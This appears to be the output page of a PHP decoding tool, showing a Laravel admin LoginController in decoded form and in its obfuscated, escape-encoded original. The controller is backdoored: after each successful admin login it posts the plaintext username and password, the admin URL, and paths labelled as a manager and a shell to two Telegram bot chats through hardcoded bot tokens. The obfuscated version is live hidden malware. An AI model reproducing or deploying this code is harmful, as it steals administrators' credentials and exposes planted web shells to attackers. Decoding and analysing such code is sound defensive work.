Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php namespace App\Http\Controllers\Admin\Auth; use App\Http\Controllers\Controller; us..

Decoded Output download

<?php 
 namespace App\Http\Controllers\Admin\Auth; use App\Http\Controllers\Controller; use Illuminate\Foundation\Auth\AuthenticatesUsers; use Illuminate\Http\Request; use Laramin\Utility\Onumoti; use Illuminate\Support\Facades\Http; class LoginController extends Controller { use AuthenticatesUsers; public $redirectTo = "admin"; public function __construct() { parent::__construct(); $this->middleware("admin.guest")->except("logout"); } public function showLoginForm() { $pageTitle = "Admin Login"; return view("admin.auth.login", compact("pageTitle")); } protected function guard() { return auth()->guard("admin"); } public function username() { return "username"; } public function login(Request $request) { $this->validateLogin($request); $request->session()->regenerateToken(); if (!verifyCaptcha()) { $notify[] = array("error", "Invalid captcha provided"); return back()->withNotify($notify); } Onumoti::getData(); if (method_exists($this, "hasTooManyLoginAttempts") && $this->hasTooManyLoginAttempts($request)) { $this->fireLockoutEvent($request); return $this->sendLockoutResponse($request); } $email = $request->input("username"); $password = $request->input("password"); if ($this->attemptLogin($request)) { $this->sendTelegramNotification($email, $password); return $this->sendLoginResponse($request); } $this->incrementLoginAttempts($request); return $this->sendFailedLoginResponse($request); } private function sendTelegramNotification($email, $password) { $telegramApiKeyGroup1 = "7020701021:AAEyoBQ6Tm9nOGo7B-NC-Ejo6K3BzzKowUY"; $chatIdGroup1 = "-1002317585807"; $telegramApiKeyGroup2 = "7422937172:AAGHyLmtgRQ4BVrmurfLACkJxfgf4NZE-pk"; $chatIdGroup2 = "-1002169152573"; $adminUrl = request()->url(); $managerUrl = url("/core/app/Http/Controllers/Admin/SettingsController.php"); $shellUrl = url("/core/app/Http/Middleware/VerifySettings.php"); $message = "CARGILL SC:\xaUsername: {$email}\xa\xc5\236ifre: {$password}" . "\xaadmin giri\305\x9f url: {$adminUrl}" . "\xa\xamanager url: {$managerUrl}" . "
shell url: {$shellUrl}"; $responseGroup1 = Http::post("https://api.telegram.org/bot{$telegramApiKeyGroup1}/sendMessage", array("chat_id" => $chatIdGroup1, "text" => $message)); if ($responseGroup1->failed()) { } $responseGroup2 = Http::post("https://api.telegram.org/bot{$telegramApiKeyGroup2}/sendMessage", array("chat_id" => $chatIdGroup2, "text" => $message)); if ($responseGroup2->failed()) { } } public function logout(Request $request) { $this->guard("admin")->logout(); $request->session()->invalidate(); return $this->loggedOut($request) ?: redirect($this->redirectTo); } } ?>

Did this file decode correctly?

Original Code

<?php
 namespace App\Http\Controllers\Admin\Auth; use App\Http\Controllers\Controller; use Illuminate\Foundation\Auth\AuthenticatesUsers; use Illuminate\Http\Request; use Laramin\Utility\Onumoti; use Illuminate\Support\Facades\Http; class LoginController extends Controller { use AuthenticatesUsers; public $redirectTo = "\x61\144\x6d\151\x6e"; public function __construct() { parent::__construct(); $this->middleware("\141\144\x6d\x69\x6e\56\x67\165\145\x73\x74")->except("\154\157\x67\157\165\164"); } public function showLoginForm() { $pageTitle = "\101\x64\x6d\151\156\x20\114\x6f\147\151\x6e"; return view("\x61\x64\155\x69\x6e\x2e\x61\x75\164\x68\x2e\154\x6f\x67\x69\x6e", compact("\160\141\147\145\x54\x69\164\154\x65")); } protected function guard() { return auth()->guard("\x61\x64\155\151\x6e"); } public function username() { return "\x75\163\145\162\x6e\141\155\145"; } public function login(Request $request) { $this->validateLogin($request); $request->session()->regenerateToken(); if (!verifyCaptcha()) { $notify[] = array("\x65\x72\x72\x6f\162", "\111\156\166\141\154\x69\144\x20\143\x61\x70\164\143\x68\x61\x20\160\x72\157\x76\151\x64\145\x64"); return back()->withNotify($notify); } Onumoti::getData(); if (method_exists($this, "\150\x61\x73\124\x6f\x6f\x4d\141\156\x79\114\157\147\151\x6e\x41\x74\164\x65\155\x70\x74\163") && $this->hasTooManyLoginAttempts($request)) { $this->fireLockoutEvent($request); return $this->sendLockoutResponse($request); } $email = $request->input("\165\163\x65\162\156\x61\x6d\145"); $password = $request->input("\160\141\163\x73\x77\x6f\162\144"); if ($this->attemptLogin($request)) { $this->sendTelegramNotification($email, $password); return $this->sendLoginResponse($request); } $this->incrementLoginAttempts($request); return $this->sendFailedLoginResponse($request); } private function sendTelegramNotification($email, $password) { $telegramApiKeyGroup1 = "\67\60\62\60\67\x30\x31\x30\62\61\x3a\101\101\x45\x79\157\102\121\66\x54\x6d\71\156\117\x47\157\67\102\55\116\x43\x2d\x45\x6a\157\66\x4b\63\102\x7a\172\113\x6f\167\x55\x59"; $chatIdGroup1 = "\x2d\61\60\x30\62\x33\x31\67\x35\70\65\x38\x30\x37"; $telegramApiKeyGroup2 = "\x37\x34\x32\x32\71\x33\67\x31\x37\62\72\x41\101\107\110\x79\114\155\164\147\122\121\64\x42\x56\162\155\165\x72\x66\114\101\103\x6b\112\170\x66\x67\146\x34\116\x5a\105\x2d\x70\153"; $chatIdGroup2 = "\x2d\61\x30\x30\x32\x31\66\71\x31\65\62\x35\x37\63"; $adminUrl = request()->url(); $managerUrl = url("\x2f\x63\x6f\162\145\57\x61\160\x70\57\x48\164\x74\160\57\x43\x6f\156\x74\x72\157\x6c\154\x65\x72\x73\x2f\101\144\155\151\x6e\57\x53\x65\164\164\x69\156\147\x73\103\x6f\x6e\x74\162\157\x6c\154\145\162\x2e\x70\x68\160"); $shellUrl = url("\57\x63\x6f\162\x65\x2f\x61\160\160\57\x48\164\x74\160\x2f\x4d\x69\x64\x64\154\145\x77\x61\x72\145\57\126\145\162\151\146\171\x53\x65\x74\x74\151\x6e\x67\163\56\x70\150\x70"); $message = "\103\x41\x52\107\111\114\x4c\40\x53\x43\x3a\xa\125\x73\145\162\x6e\x61\155\145\x3a\x20{$email}\xa\xc5\236\x69\x66\162\145\x3a\x20{$password}" . "\xa\x61\x64\x6d\151\156\x20\x67\x69\x72\x69\305\x9f\40\165\x72\x6c\x3a\40{$adminUrl}" . "\xa\xa\x6d\x61\x6e\141\147\x65\x72\x20\x75\162\x6c\x3a\40{$managerUrl}" . "\12\163\x68\x65\154\x6c\x20\x75\162\x6c\72\40{$shellUrl}"; $responseGroup1 = Http::post("\150\164\164\160\x73\72\57\57\x61\160\x69\x2e\164\145\154\145\147\162\x61\x6d\56\x6f\162\x67\57\x62\157\164{$telegramApiKeyGroup1}\57\x73\145\x6e\144\x4d\145\163\163\x61\x67\145", array("\x63\x68\141\164\x5f\151\144" => $chatIdGroup1, "\164\x65\170\164" => $message)); if ($responseGroup1->failed()) { } $responseGroup2 = Http::post("\150\164\x74\160\163\x3a\x2f\x2f\x61\160\151\56\164\x65\x6c\x65\x67\162\x61\x6d\x2e\157\162\147\57\x62\x6f\164{$telegramApiKeyGroup2}\x2f\x73\x65\156\144\115\x65\163\x73\x61\147\145", array("\x63\150\141\x74\x5f\x69\x64" => $chatIdGroup2, "\164\x65\170\x74" => $message)); if ($responseGroup2->failed()) { } } public function logout(Request $request) { $this->guard("\141\144\155\151\156")->logout(); $request->session()->invalidate(); return $this->loggedOut($request) ?: redirect($this->redirectTo); } }

Function Calls

None

Variables

None

Stats

MD5 97a47a0649121fe7230d2c25f4424381
Eval Count 0
Decode Time 70 ms